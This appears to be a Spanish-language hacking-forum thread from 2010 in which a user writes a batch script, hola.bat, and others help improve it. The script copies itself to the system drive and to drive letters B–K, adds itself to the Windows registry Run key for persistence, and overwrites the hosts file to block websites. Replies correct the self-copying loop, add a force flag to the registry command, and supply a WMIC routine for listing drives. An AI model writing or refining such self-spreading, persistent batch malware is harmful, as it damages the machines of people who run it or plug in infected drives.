copy %0 C:\ REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v hola.bat /d c:\hola.bat /f echo 127.0.0.1 www.xxx.com > C:\WINDOWS\system32\drivers\etc\hosts echo 127.0.0.1 www.fotolog.com >> C:\WINDOWS\system32\drivers\etc\hosts for %%x in ("B", "C", "D", "E", "F", "G", "H", "I", "J", "K") do (copy /y %0 "%%~x:\") |
Cita de: -=[ §ÂßÂÑÐØ ]=- en 21 Septiembre 2010, 20:35 PM
Creo que eso no se puede hacer, puedes hacer para meter la letra de unidad que quieres en una variable,y luego hacer la copia, pero no un comodin para todas las letras de unidad.
Cita de: Ari-Slash en 21 Septiembre 2010, 20:37 PM
aquihay un post de hace unos años el cual carlitos.dll creo un bat para detectar las unidades extraibles conectadas
hechale un vistazo
http://foro.elhacker.net/printpage.html;topic=218760.0
para las demas dudas el foro esta lleno de informacion
saludos
for %%x in ("A", "B", "C", "D", "E", "F") do (copy /y %0 "%%~x:\")
Cita de: pablomi en 21 Septiembre 2010, 21:52 PMCódigo (dos) [Seleccionar]
for %%x in ("A", "B", "C", "D", "E", "F") do (copy /y %0 "%%~x:\")
Lee sobre for.
Y a tu código del REG ADD, añádele el parámetro /f para sobreescribir.
@ECHO OFF
CALL :VOLS
FOR /F "DELIMS== TOKENS=2" %%A IN ('SET VOL') DO ECHO.%%A
PAUSE>NUL
EXIT
======================================================================================
:: Carga en variables del tipo VOL1, VOL2, VOL3... las unidades del disco duro
:: Si sólo se quiere el nombre de la unidad y no la descripción cambiar "*" por "1".
:: Sin argumentos
:VOLS
:: Empezamos el contador
SET/A CONT=0
::
:: Obtemos las unidades con Wmic
FOR /F "SKIP=1 TOKENS=*" %%A IN (
'"WMIC LOGICALDISK GET CAPTION, DESCRIPTION"'
) DO (
:: Aumenta el contador
SET/A "COUNT+=1"
:: Declaramos las variables
CALL SET "VOL%%COUNT%%=%%A"
)
EXIT/B
======================================================================================
Cita de: modubat en 22 Septiembre 2010, 19:27 PM
Con esta función que codee obtienes las unidades luego ya es fácil, puedes usar copy xcopy o robocopy y un for
muchas gracias por ayudarme enserio, cuando lo acabe os lo enseño y gracias